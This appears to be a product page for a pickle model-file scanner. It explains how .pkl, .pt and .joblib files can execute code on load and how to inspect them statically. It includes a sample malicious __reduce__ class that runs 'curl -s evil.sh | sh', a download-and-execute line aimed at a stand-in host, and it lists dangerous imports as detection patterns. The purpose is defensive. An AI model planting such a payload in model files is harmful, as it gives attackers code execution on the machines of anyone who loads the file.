.pkl, .pt or .joblib
model file is maliciousA pickle-based model file can execute arbitrary code the instant you load it — before your own code runs a single line. Here is why that happens, how to recognise a dangerous file, and how to check one safely without running it.
← Scan a model file now (free, nothing is stored)Most Python ML artifacts — scikit-learn joblib dumps, PyTorch
.pt/.pth checkpoints, countless .pkl files
on Hugging Face — are serialized with Python's pickle. Pickle is not
a data format; it is a tiny stack language. Among its opcodes are
GLOBAL/STACK_GLOBAL (import any Python object by name)
and REDUCE (call it). That combination means a pickle file can say
“import os.system and call it with rm -rf” — and it runs
during load(), before you ever touch the model.
The classic payload is a __reduce__ that returns a callable and its
arguments:
class Evil:
def __reduce__(self):
import os
return (os.system, ("curl -s evil.sh | sh",))
# pickle.dumps(Evil()) -> anyone who loads it runs the command
On disk this leaves fingerprints: a STACK_GLOBAL importing
posix.system, subprocess.Popen, builtins.eval,
builtins.exec, runpy, or a socket/urllib call, followed by
a REDUCE. A legitimate model only imports its framework
(numpy, torch, sklearn, …).
Never pickle.load, torch.load or
joblib.load an untrusted file to inspect it — that is the
exploit. Instead, disassemble the opcode stream statically. Python ships the tool:
python -m pickletools suspicious.pkl | grep -i global
Read the GLOBAL/STACK_GLOBAL lines. Anything outside the
ML stack — os, posix, subprocess,
socket, builtins.eval/exec, runpy,
webbrowser — is a red flag. PyTorch and modern joblib files are ZIP
containers, so unzip first and disassemble the embedded data.pkl.
That's exactly what the free scanner does for you — memo-aware import resolution, ZIP/PyTorch container handling, and an ML-stack allow-list so real models read clean:
Scan your file with PickleScan (free) →One file in a browser is fine for a spot check. For a model registry, a training pipeline, or a pull-request gate you want a batch scanner with machine-readable output. PickleScan Pro is a zero-dependency CLI + GitHub Action: it scans every artifact in a tree, emits JSON and SARIF (GitHub code-scanning), and returns a non-zero exit code so a dangerous file fails the build.
python picklescan_pro.py ./models --fail-on dangerous --sarif out.sarif echo $? # 0 = clean, 2 = dangerous file foundGet PickleScan Pro — one-time $29 →
Where you control the format, prefer safetensors for weights (pure
tensor data, no code path) or skops for scikit-learn models. But you
will still receive third-party .pkl/.pt files — scan
those before they touch a machine you care about.